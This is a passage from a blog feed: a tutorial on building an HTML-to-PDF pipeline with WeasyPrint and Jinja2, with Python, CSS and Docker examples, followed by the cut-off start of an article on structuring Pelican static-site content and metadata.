&lt;p&gt;I recently migrated a document generation system from &lt;code&gt;wkhtmltopdf&lt;/code&gt; to &lt;strong&gt;WeasyPrint&lt;/strong&gt;, and the result was lighter, faster, and — most importantly — deterministic. No browser binaries. No X server. Just Python, CSS, and your templates.&lt;/p&gt;

&lt;p&gt;This article documents that migration: the architecture, the tradeoffs, and a reusable pipeline you can drop into your own projects.&lt;/p&gt;

&lt;h2&gt;Why WeasyPrint Over the Alternatives&lt;/h2&gt;

&lt;p&gt;The HTML-to-PDF landscape in 2026 breaks down into three approaches:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Dependencies&lt;/th&gt;
&lt;th&gt;Reproducibility&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Headless browser&lt;/td&gt;
&lt;td&gt;Playwright, Puppeteer&lt;/td&gt;
&lt;td&gt;Chromium binary (~300 MB)&lt;/td&gt;
&lt;td&gt;Moderate — browser version matters&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Legacy Qt WebKit&lt;/td&gt;
&lt;td&gt;wkhtmltopdf&lt;/td&gt;
&lt;td&gt;Qt libraries&lt;/td&gt;
&lt;td&gt;Poor — unmaintained, rendering quirks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pure Python layout engine&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;WeasyPrint&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Cairo, Pango, GDK-Pixbuf (system libs)&lt;/td&gt;
&lt;td&gt;Excellent — deterministic output from same inputs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;WeasyPrint doesn't execute JavaScript, which is a feature if your goal is server-side document generation from structured data. It implements its own CSS layout engine on top of Cairo, meaning the same HTML + CSS input produces the same PDF output every time. No browser version drift. No async event loop gymnastics. Just a function call.&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Deterministic:&lt;/strong&gt; Same input always produces byte-identical PDF output.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Lightweight:&lt;/strong&gt; No browser binary — system Cairo and Pango handle rendering.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Pythonic:&lt;/strong&gt; Native Python API, integrates cleanly with Jinja2 and Flask/FastAPI.&lt;br&gt;
&amp;#8226;&lt;strong&gt;CSS Paged Media:&lt;/strong&gt; Full support for &lt;code&gt;@page&lt;/code&gt;, named pages, page counters, and footnotes.&lt;/p&gt;

&lt;h2&gt;Architecture Overview&lt;/h2&gt;

&lt;p&gt;The pipeline follows a straightforward data → template → render → PDF flow:&lt;/p&gt;

&lt;pre class="language-text"&gt;
&lt;code class="language-text"&gt;

+-------------+     +------------------+     +--------------+     +----------+
| Data (JSON, | --&gt; | Jinja2 Template  | --&gt; | HTML String  | --&gt; | WeasyPrint |
| dict, ORM)  |     | (with CSS print) |     | (in memory)   |     | PDF output |
+-------------+     +------------------+     +--------------+     +----------+
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;There's no intermediate file write unless you want one. The entire pipeline runs in memory, which matters when you're generating hundreds of documents in a batch job.&lt;/p&gt;

&lt;h2&gt;Installing WeasyPrint&lt;/h2&gt;

&lt;p&gt;WeasyPrint depends on system libraries for rendering. On a Debian/Ubuntu system:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;

sudo apt install libcairo2 libpango-1.0-0 libpangocairo-1.0-0 \
                 libgdk-pixbuf2.0-0 libffi-dev shared-mime-info
pip install weasyprint jinja2
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;For Alpine-based Docker images, the package names differ but the principle is the same. I include a &lt;code&gt;Dockerfile&lt;/code&gt; snippet later that handles both.&lt;/p&gt;

&lt;h2&gt;Template Design with CSS Paged Media&lt;/h2&gt;

&lt;p&gt;The real work isn't the Python code — it's the CSS. WeasyPrint supports &lt;strong&gt;CSS Paged Media&lt;/strong&gt;, which gives you control over page size, margins, headers, footers, and page breaks that browser-based converters often ignore.&lt;/p&gt;

&lt;p&gt;Here's a minimal Jinja2 template with print-specific CSS:&lt;/p&gt;

&lt;pre class="language-html"&gt;
&lt;code class="language-html"&gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html lang="en"&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta charset="utf-8"&amp;gt;
&amp;lt;title&amp;gt;{{ title }}&amp;lt;/title&amp;gt;
&amp;lt;style&amp;gt;
  @page {
    size: A4;
    margin: 2.5cm 2cm 2.5cm 2cm;
    @bottom-center {
      content: "Page " counter(page) " of " counter(pages);
      font-family: 'DejaVu Sans', sans-serif;
      font-size: 9pt;
      color: #666;
    }
  }

  @page :first {
    @bottom-center {
      content: none;
    }
  }

  body {
    font-family: 'DejaVu Sans', sans-serif;
    font-size: 11pt;
    line-height: 1.6;
    color: #1a1a1a;
  }

  h1 {
    font-size: 22pt;
    color: #2c3e50;
    border-bottom: 3px solid #3498db;
    padding-bottom: 0.3em;
    page-break-before: avoid;
  }

  h2 {
    font-size: 16pt;
    color: #2c3e50;
    page-break-after: avoid;
  }

  pre {
    background: #f7f9fa;
    border-left: 4px solid #3498db;
    padding: 1em;
    font-family: 'DejaVu Sans Mono', monospace;
    font-size: 9pt;
    line-height: 1.4;
    overflow-wrap: break-word;
    white-space: pre-wrap;
  }

  code {
    font-family: 'DejaVu Sans Mono', monospace;
    font-size: 9pt;
  }

  table {
    border-collapse: collapse;
    width: 100%;
    margin: 1em 0;
    page-break-inside: avoid;
  }

  th, td {
    border: 1px solid #ddd;
    padding: 0.5em 0.75em;
    text-align: left;
  }

  th {
    background: #f0f3f5;
    font-weight: 600;
  }

  .page-break {
    page-break-before: always;
  }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  {{ content }}
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Key details in that CSS:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;&lt;code&gt;@page&lt;/code&gt; with &lt;code&gt;@bottom-center&lt;/code&gt;:&lt;/strong&gt; Page numbering that Just Works — no JavaScript, no header/footer hacks.&lt;br&gt;
&amp;#8226;&lt;strong&gt;&lt;code&gt;page-break-before: avoid&lt;/code&gt; on headings:&lt;/strong&gt; Prevents orphaned headers at page bottoms.&lt;br&gt;
&amp;#8226;&lt;strong&gt;&lt;code&gt;page-break-inside: avoid&lt;/code&gt; on tables:&lt;/strong&gt; Keeps tabular data together.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Font declarations:&lt;/strong&gt; Explicit &lt;code&gt;font-family&lt;/code&gt; with fallbacks — WeasyPrint uses system fonts, so declare what you have available. &lt;code&gt;DejaVu Sans&lt;/code&gt; ships on most Linux systems.&lt;/p&gt;

&lt;h2&gt;The Python Pipeline&lt;/h2&gt;

&lt;p&gt;Here's the complete generation pipeline as a reusable class:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

from pathlib import Path
from jinja2 import Environment, FileSystemLoader
from weasyprint import HTML
import tempfile
from typing import Optional, Dict, Any


class PDFGenerator:
    """Deterministic PDF generation from Jinja2 templates using WeasyPrint."""

    def __init__(self, template_dir: Path):
        self.env = Environment(
            loader=FileSystemLoader(str(template_dir)),
            autoescape=True,
        )

    def render_html(
        self,
        template_name: str,
        context: Dict[str, Any]
    ) -&gt; str:
        """Render a Jinja2 template to an HTML string."""
        template = self.env.get_template(template_name)
        return template.render(**context)

    def generate_pdf(
        self,
        html_string: str,
        output_path: Optional[Path] = None,
        base_url: Optional[str] = None,
    ) -&gt; bytes:
        """
        Convert HTML string to PDF bytes.

        Args:
            html_string: Rendered HTML content.
            output_path: If provided, write PDF to this path.
            base_url: Base URL for resolving relative URLs in the HTML.

        Returns:
            PDF as bytes.
        """
        html = HTML(
            string=html_string,
            base_url=base_url,
        )
        pdf_bytes = html.write_pdf()

        if output_path:
            output_path.write_bytes(pdf_bytes)

        return pdf_bytes

    def generate_from_template(
        self,
        template_name: str,
        context: Dict[str, Any],
        output_path: Optional[Path] = None,
    ) -&gt; bytes:
        """Full pipeline: render template → generate PDF."""
        html_string = self.render_html(template_name, context)
        return self.generate_pdf(html_string, output_path=output_path)


# Usage example
if __name__ == "__main__":
    generator = PDFGenerator(template_dir=Path("./templates"))

    context = {
        "title": "Monthly Engineering Report — March 2026",
        "content": "&amp;lt;h1&amp;gt;Overview&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Results here...&amp;lt;/p&amp;gt;",
    }

    pdf_bytes = generator.generate_from_template(
        template_name="report.html",
        context=context,
        output_path=Path("./output/report.pdf"),
    )

    print(f"Generated {len(pdf_bytes)} bytes")
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This class intentionally keeps the interface narrow: template + context in, PDF bytes out. The caller doesn't need to know about HTML intermediates unless they want them for debugging.&lt;/p&gt;

&lt;h2&gt;Handling Images and Static Assets&lt;/h2&gt;

&lt;p&gt;When your templates reference local images or CSS files, WeasyPrint needs a &lt;code&gt;base_url&lt;/code&gt; to resolve relative paths. Pass it through:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

generator.generate_pdf(
    html_string=html_string,
    base_url="file:///home/user/project/templates/",
)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;For production, I prefer embedding images as base64 data URIs in the template context — this makes the HTML fully self-contained and avoids filesystem dependency during rendering:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

import base64
from pathlib import Path

def image_to_data_uri(path: Path, mime_type: str = "image/png") -&gt; str:
    """Convert an image file to a base64 data URI."""
    encoded = base64.b64encode(path.read_bytes()).decode("ascii")
    return f"data:{mime_type};base64,{encoded}"

# In your context:
context["logo"] = image_to_data_uri(Path("./assets/logo.png"))
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Then in the template:&lt;/p&gt;

&lt;pre class="language-html"&gt;
&lt;code class="language-html"&gt;

&amp;lt;img src="{{ logo }}" alt="Company Logo" style="max-width: 200px;"&amp;gt;
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This approach produces fully portable HTML strings — serialize them to a database, send them over a message queue, render them anywhere. No asset paths to manage.&lt;/p&gt;

&lt;h2&gt;Dockerizing the Pipeline&lt;/h2&gt;

&lt;p&gt;Here's a minimal Dockerfile that produces a reproducible PDF generation image:&lt;/p&gt;

&lt;pre class="language-dockerfile"&gt;
&lt;code class="language-dockerfile"&gt;

FROM python:3.12-slim-bookworm

RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    libcairo2 \
    libpango-1.0-0 \
    libpangocairo-1.0-0 \
    libgdk-pixbuf2.0-0 \
    libffi8 \
    shared-mime-info \
    fonts-dejavu-core \
    fonts-dejavu-mono \
    &amp;&amp; rm -rf /var/lib/apt/lists/*

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY ./templates /app/templates
COPY ./generate.py /app/generate.py

WORKDIR /app
ENTRYPOINT ["python", "generate.py"]
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;The &lt;code&gt;fonts-dejavu-core&lt;/code&gt; and &lt;code&gt;fonts-dejavu-mono&lt;/code&gt; packages are critical — WeasyPrint needs actual font files to render text. Without them, you'll get blank pages or fallback to ugly bitmap fonts.&lt;/p&gt;

&lt;h2&gt;Performance Considerations&lt;/h2&gt;

&lt;p&gt;WeasyPrint is CPU-bound and single-threaded per document. For bulk generation, parallelize at the process level:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

from concurrent.futures import ProcessPoolExecutor
from pathlib import Path

def generate_one(args):
    template_name, context, output_path = args
    generator = PDFGenerator(template_dir=Path("./templates"))
    generator.generate_from_template(template_name, context, output_path)
    return output_path

def batch_generate(documents, max_workers=4):
    with ProcessPoolExecutor(max_workers=max_workers) as executor:
        results = list(executor.map(generate_one, documents))
    return results
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;I've found that &lt;code&gt;max_workers = CPU_COUNT&lt;/code&gt; gives the best throughput. Memory usage scales linearly with worker count — each worker loads the template environment independently.&lt;/p&gt;

&lt;p&gt;A quick benchmark on my machine (Ryzen 7, 8 cores) generating a 12-page report with charts and tables:&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Documents/sec&lt;/th&gt;
&lt;th&gt;Memory per worker&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Single process&lt;/td&gt;
&lt;td&gt;2.3&lt;/td&gt;
&lt;td&gt;~80 MB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4 workers&lt;/td&gt;
&lt;td&gt;8.1&lt;/td&gt;
&lt;td&gt;~80 MB each (320 MB total)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 workers&lt;/td&gt;
&lt;td&gt;14.2&lt;/td&gt;
&lt;td&gt;~80 MB each (640 MB total)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Not perfectly linear due to GIL release during Cairo rendering, but close enough for most workloads.&lt;/p&gt;

&lt;h2&gt;Migration From wkhtmltopdf: What Changes&lt;/h2&gt;

&lt;p&gt;If you're migrating an existing &lt;code&gt;wkhtmltopdf&lt;/code&gt; workflow, here's what breaks and what improves:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;JavaScript-rendered charts:&lt;/strong&gt; Must be pre-rendered server-side or replaced with static images. I moved from Chart.js to Matplotlib-rendered PNGs embedded as data URIs.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Flexbox and Grid:&lt;/strong&gt; WeasyPrint's support is solid but not identical to Chrome. Test your layouts — simple flex layouts work; complex nested grids may need adjustment.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Web fonts:&lt;/strong&gt; &lt;code&gt;@import url()&lt;/code&gt; for Google Fonts works, but adds network latency. I bundle fonts as base64 in the CSS during the build step.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Headers and footers:&lt;/strong&gt; The &lt;code&gt;@page&lt;/code&gt; margin boxes are &lt;em&gt;vastly&lt;/em&gt; simpler than &lt;code&gt;wkhtmltopdf&lt;/code&gt;'s &lt;code&gt;--header-html&lt;/code&gt; and &lt;code&gt;--footer-html&lt;/code&gt; flags. No more phantom header spacing bugs.&lt;/p&gt;

&lt;h2&gt;Edge Cases and Gotchas&lt;/h2&gt;

&lt;p&gt;After generating thousands of PDFs through this pipeline, here's what I've learned:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Long words in &lt;code&gt;&amp;lt;pre&amp;gt;&lt;/code&gt; blocks overflow pages.&lt;/strong&gt; Always set &lt;code&gt;overflow-wrap: break-word&lt;/code&gt; and &lt;code&gt;white-space: pre-wrap&lt;/code&gt; on code blocks.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Empty &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; elements with padding cause blank pages.&lt;/strong&gt; WeasyPrint collapses empty block elements — add &lt;code&gt;&amp;amp;nbsp;&lt;/code&gt; or a zero-width space if you need to preserve spacing.&lt;br&gt;
&amp;#8226;&lt;strong&gt;CMYK color spaces aren't supported.&lt;/strong&gt; If you need print-shop-ready PDFs with CMYK, you'll need post-processing with a tool like Ghostscript.&lt;br&gt;
&amp;#8226;&lt;strong&gt;SVG support is limited to static SVG.&lt;/strong&gt; No SMIL animations, no external CSS — inline styles only.&lt;/p&gt;

&lt;h2&gt;Integration Patterns&lt;/h2&gt;

&lt;p&gt;This pipeline fits naturally into several workflows:&lt;/p&gt;

&lt;p&gt;&amp;#8226;&lt;strong&gt;Flask/FastAPI endpoint:&lt;/strong&gt; Accept JSON payload, render template, return PDF response with &lt;code&gt;Content-Type: application/pdf&lt;/code&gt;.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Celery background task:&lt;/strong&gt; Long reports (50+ pages) can take several seconds — offload to a task queue.&lt;br&gt;
&amp;#8226;&lt;strong&gt;CI/CD documentation build:&lt;/strong&gt; Generate PDF manuals as build artifacts from Markdown rendered through Jinja2.&lt;br&gt;
&amp;#8226;&lt;strong&gt;Email attachment pipeline:&lt;/strong&gt; Render invoice → attach to email → send via SMTP, all within a single Python process.&lt;/p&gt;

&lt;h2&gt;Complete Example: Invoice Generator&lt;/h2&gt;

&lt;p&gt;Here's a full working example that ties everything together — an invoice generator you can adapt:&lt;/p&gt;

&lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

from pathlib import Path
from datetime import date
from jinja2 import Environment, FileSystemLoader
from weasyprint import HTML

TEMPLATE = """&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;style&amp;gt;
  @page { size: A4; margin: 2cm; }
  body { font-family: 'DejaVu Sans', sans-serif; font-size: 11pt; }
  .header { display: flex; justify-content: space-between; margin-bottom: 2em; }
  .invoice-details { text-align: right; }
  table { width: 100%; border-collapse: collapse; margin: 1em 0; }
  th { background: #2c3e50; color: white; padding: 0.5em; text-align: left; }
  td { padding: 0.5em; border-bottom: 1px solid #ddd; }
  .total { text-align: right; font-weight: bold; font-size: 14pt; margin-top: 1em; }
&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
  &amp;lt;div class="header"&amp;gt;
    &amp;lt;div&amp;gt;&amp;lt;strong&amp;gt;{{ company_name }}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;{{ company_address }}&amp;lt;/div&amp;gt;
    &amp;lt;div class="invoice-details"&amp;gt;
      &amp;lt;strong&amp;gt;Invoice #{{ invoice_number }}&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
      Date: {{ invoice_date }}&amp;lt;br&amp;gt;
      Due: {{ due_date }}
    &amp;lt;/div&amp;gt;
  &amp;lt;/div&amp;gt;

  &amp;lt;h2&amp;gt;Bill To:&amp;lt;/h2&amp;gt;
  &amp;lt;p&amp;gt;{{ client_name }}&amp;lt;br&amp;gt;{{ client_address }}&amp;lt;/p&amp;gt;

  &amp;lt;table&amp;gt;
    &amp;lt;thead&amp;gt;
      &amp;lt;tr&amp;gt;&amp;lt;th&amp;gt;Description&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Qty&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Rate&amp;lt;/th&amp;gt;&amp;lt;th&amp;gt;Amount&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;
    &amp;lt;/thead&amp;gt;
    &amp;lt;tbody&amp;gt;
      {% for item in line_items %}
      &amp;lt;tr&amp;gt;
        &amp;lt;td&amp;gt;{{ item.description }}&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;{{ item.quantity }}&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;${{ "%.2f"|format(item.rate) }}&amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;${{ "%.2f"|format(item.quantity * item.rate) }}&amp;lt;/td&amp;gt;
      &amp;lt;/tr&amp;gt;
      {% endfor %}
    &amp;lt;/tbody&amp;gt;
  &amp;lt;/table&amp;gt;

  &amp;lt;div class="total"&amp;gt;Total: ${{ "%.2f"|format(total) }}&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;"""

def generate_invoice(context: dict, output_path: Path) -&gt; bytes:
    env = Environment()
    template = env.from_string(TEMPLATE)
    html = template.render(**context)

    pdf = HTML(string=html).write_pdf()
    output_path.write_bytes(pdf)
    return pdf

# Example usage
invoice_data = {
    "company_name": "Acme Engineering Ltd.",
    "company_address": "123 Main St, Tech City, TC 12345",
    "invoice_number": "INV-2026-0042",
    "invoice_date": "2026-05-26",
    "due_date": "2026-06-25",
    "client_name": "ClientCorp Inc.",
    "client_address": "456 Business Ave, Commerce City, CC 67890",
    "line_items": [
        {"description": "Backend API Development", "quantity": 40, "rate": 150.00},
        {"description": "System Architecture Review", "quantity": 8, "rate": 200.00},
        {"description": "Documentation &amp; Handover", "quantity": 12, "rate": 125.00},
    ],
}
invoice_data["total"] = sum(
    item["quantity"] * item["rate"] for item in invoice_data["line_items"]
)

generate_invoice(invoice_data, Path("invoice.pdf"))
&lt;/code&gt;
&lt;/pre&gt;

&lt;h2&gt;Final Thoughts&lt;/h2&gt;

&lt;p&gt;WeasyPrint isn't a drop-in replacement for &lt;code&gt;wkhtmltopdf&lt;/code&gt; — it's a different philosophy. Where &lt;code&gt;wkhtmltopdf&lt;/code&gt; offloads rendering to a browser engine and hopes for the best, WeasyPrint gives you explicit control through CSS Paged Media. That tradeoff means more upfront work on your CSS, but the payoff is reliable, reproducible output that doesn't drift with browser updates.&lt;/p&gt;

&lt;p&gt;For document generation pipelines — invoices, reports, certificates, manuals — I now reach for WeasyPrint first. It's one less moving part to debug when something goes wrong at 3 AM, and that alone justifies the migration.&lt;/p&gt;

&lt;p&gt;The full pipeline code from this article is available as a reusable package. Adapt the invoice example to your own templates, wrap it in a Flask endpoint or a Celery task, and you've got a production-ready PDF generation system with no browser binary in sight.&lt;/p&gt;</content><category term="Programming"></category><category term="jinja2"></category><category term="weasyprint"></category><category term="pdf generation"></category><category term="python"></category><category term="html to pdf"></category><category term="wkhtmltopdf alternative"></category><category term="document automation"></category><category term="css print"></category><category term="templating"></category><category term="reproducible documents"></category></entry><entry><title>Designing a Clean Content Architecture for Pelican Static Sites</title><link href="https://mosaid.xyz/articles/designing-a-clean-content-architecture-for-pelican-static-sites-14.html" rel="alternate"></link><published>2026-05-17T18:00:52+00:00</published><updated>2026-05-17T18:00:52+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-17:/articles/designing-a-clean-content-architecture-for-pelican-static-sites-14.html</id><summary type="html">&lt;p&gt;Learn how to structure your Pelican content directory, define a rich metadata vocabulary, and treat Markdown files as queryable data records. This foundation enables all future dynamic‑like features without plugins.&lt;/p&gt;</summary><content type="html">&lt;section&gt;
  &lt;p&gt;
    If you’ve only ever used a static site generator to dump Markdown into HTML, you’re
    leaving its most powerful capability on the table. In this series we treat content
    as structured data — and that starts with a clean, queryable architecture.
  &lt;/p&gt;

  &lt;h2&gt;Content Is Data&lt;/h2&gt;
  &lt;p&gt;
    Every &lt;code&gt;.md&lt;/code&gt; file in a Pelican project is a record. It carries a unique
    identifier (the slug), a set of typed fields (metadata), and a body (the article
    content). When you adopt this mindset, you stop thinking about “files” and start
    thinking about a static database that can be filtered, sorted, and indexed at
    build time — no plugins required.
  &lt;/p&gt;
  &lt;p&gt;
    We’re going to define a strict vocabulary for that database. Once it’s in place,
    every “smart” feature we add later — search indexes, related posts, filtered
    category pages — will simply be a Jinja2 query over well‑structured records.
  &lt;/p&gt;

  &lt;h2&gt;File Naming Convention&lt;/h2&gt;
  &lt;p&gt;
    Machine‑readable naming is mandatory. Use the
    &lt;strong&gt;ISO date&lt;/strong&gt; prefix followed by a readable slug:
    &lt;code&gt;YYYY-MM-DD-slug.md&lt;/code&gt;.
  &lt;/p&gt;

  &lt;p&gt;&amp;#8226;&lt;strong&gt;Predictable ordering:&lt;/strong&gt; lexical sort equals chronological sort.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Unique slugs:&lt;/strong&gt; date + title guarantees no accidental collision.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Human scannable:&lt;/strong&gt; `ls content/articles/` shows a timeline at a glance.
  &lt;/p&gt;

  &lt;pre class="language-text"&gt;
&lt;code&gt;
2025-06-01-setting-up-pelican.md
2025-06-03-content-architecture.md
2025-06-05-automation-scripts.md
&lt;/code&gt;
  &lt;/pre&gt;

  &lt;p&gt;
    Resist the temptation to use category folders as part of the filename;
    the date‑slug pattern works everywhere. We’ll handle category organisation
    through metadata and Pelican’s URL configuration.
  &lt;/p&gt;

  &lt;h2&gt;The Metadata Block&lt;/h2&gt;
  &lt;p&gt;
    Pelican reads key‑value metadata from the top of every Markdown file before
    the first blank line. This is the “schema” for your content records. Treat it
    as seriously as you would a database table definition.
  &lt;/p&gt;

  &lt;p&gt;The minimal recommended set:&lt;/p&gt;
  &lt;p&gt;&amp;#8226;&lt;strong&gt;Title&lt;/strong&gt; – the published headline.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Date&lt;/strong&gt; – ISO format &lt;code&gt;YYYY-MM-DD&lt;/code&gt;.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Category&lt;/strong&gt; – broad classification (e.g. &lt;code&gt;devops&lt;/code&gt;, &lt;code&gt;python&lt;/code&gt;).&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Tags&lt;/strong&gt; – comma‑separated keywords (finer grain).&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Summary&lt;/strong&gt; – a short description for listings and SEO.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Slug&lt;/strong&gt; – optional explicit URL slug; we derive it from the filename.
  &lt;/p&gt;

  &lt;p&gt;
    Consistency is more important than volume. Every article in this series will
    use exactly this set, plus a handful of custom fields we’ll add next.
  &lt;/p&gt;

  &lt;h2&gt;Custom Metadata Fields&lt;/h2&gt;
  &lt;p&gt;
    The standard fields only get you so far. We extend the schema with fields that
    future templates and automation scripts can consume.
  &lt;/p&gt;

  &lt;p&gt;&amp;#8226;&lt;strong&gt;Summary&lt;/strong&gt; – already mentioned, but make it a habit: a good summary feeds
    search indexes and Open Graph descriptions.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;FeaturedImage&lt;/strong&gt; – path to a hero image (we’ll generate these with LaTeX later).&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Thumbnail&lt;/strong&gt; – a smaller variant for card layouts.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Views&lt;/strong&gt; – a static view count that you can increment manually (or via a build‑time
    script). Not dynamic, but gives a perception of freshness.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Subcategory&lt;/strong&gt; – optional second‑level grouping within a category.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Template&lt;/strong&gt; – if you need a custom Jinja2 template for a specific article.
  &lt;/p&gt;

  &lt;p&gt;
    None of these fields are required, but we’ll design our templates to behave
    gracefully when they’re absent — that’s the essence of progressive metadata.
  &lt;/p&gt;

  &lt;h2&gt;Organising the &lt;code&gt;content/&lt;/code&gt; Directory&lt;/h2&gt;
  &lt;p&gt;
    A well‑organised directory tree makes automation predictable. We use a flat
    structure inside dedicated subdirectories.
  &lt;/p&gt;

  &lt;pre class="language-text"&gt;
&lt;code&gt;
content/
├── articles/
│   ├── 2025-06-01-setup.md
│   ├── 2025-06-03-architecture.md
│   └── ...
├── pages/
│   ├── about.md
│   └── contact.md
├── images/
│   └── banners/
└── extra/
    └── robots.txt
&lt;/code&gt;
  &lt;/pre&gt;

  &lt;p&gt;
    &lt;strong&gt;articles/&lt;/strong&gt; holds dated blog‑style content.
    &lt;strong&gt;pages/&lt;/strong&gt; holds standalone documents (About, Contact, Privacy).
    &lt;strong&gt;images/&lt;/strong&gt; stores all binary assets (managed with Git LFS if they grow large).
    &lt;strong&gt;extra/&lt;/strong&gt; holds static files copied verbatim to the output root
    (&lt;code&gt;robots.txt&lt;/code&gt;, &lt;code&gt;favicon.ico&lt;/code&gt;, etc.).
  &lt;/p&gt;

  &lt;h2&gt;Article vs Page vs Custom Content Type&lt;/h2&gt;
  &lt;p&gt;
    Knowing when to use each prevents structural debt later.
  &lt;/p&gt;

  &lt;p&gt;&amp;#8226;&lt;strong&gt;Article&lt;/strong&gt; — time‑stamped content that belongs to a feed or listing.
    Use it for blog posts, tutorials, changelogs.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Page&lt;/strong&gt; — timeless, hierarchical documents. About, Contact,
    Terms of Service. Pages don’t appear in article lists by default.&lt;br/&gt;
  &amp;#8226;&lt;strong&gt;Custom content type&lt;/strong&gt; — when you need a separate namespace with its
    own URL scheme and templates (e.g. a portfolio or documentation). We’ll
    postpone these until the need genuinely arises.
  &lt;/p&gt;

  &lt;p&gt;
    If you’re asking “should this be an article or a page?” — pick the one that
    matches its temporal nature. Date‑dependent = article; evergreen = page.
  &lt;/p&gt;

  &lt;h2&gt;Configuring Pelican to Honour Our Structure&lt;/h2&gt;
  &lt;p&gt;
    Pelican needs explicit URL and path mappings. Add the following to your
    &lt;code&gt;pelicanconf.py&lt;/code&gt;:
  &lt;/p&gt;

  &lt;pre class="language-python"&gt;
&lt;code class="language-python"&gt;

ARTICLE_PATHS = ["articles"]
ARTICLE_URL = 'articles/{slug}.html'
ARTICLE_SAVE_AS = 'articles/{slug}.html'
PAGE_URL = '{slug}.html'
PAGE_SAVE_AS = '{slug}/index.html'
STATIC_PATHS = ["images", "extra"]
&lt;/code&gt;
  &lt;/pre&gt;

  &lt;p&gt;
    With these settings, a Markdown file at
    &lt;code&gt;content/articles/2025-06-03-architecture.md&lt;/code&gt; becomes
    &lt;code&gt;output/articles/architecture.html&lt;/code&gt;. Pages land directly at
    &lt;code&gt;output/about/&lt;/code&gt;.
  &lt;/p&gt;

  &lt;p&gt;
    No plugins are required yet — everything above is native Pelican behaviour.
    We’ll introduce plugins only when we need to extend the core.
  &lt;/p&gt;

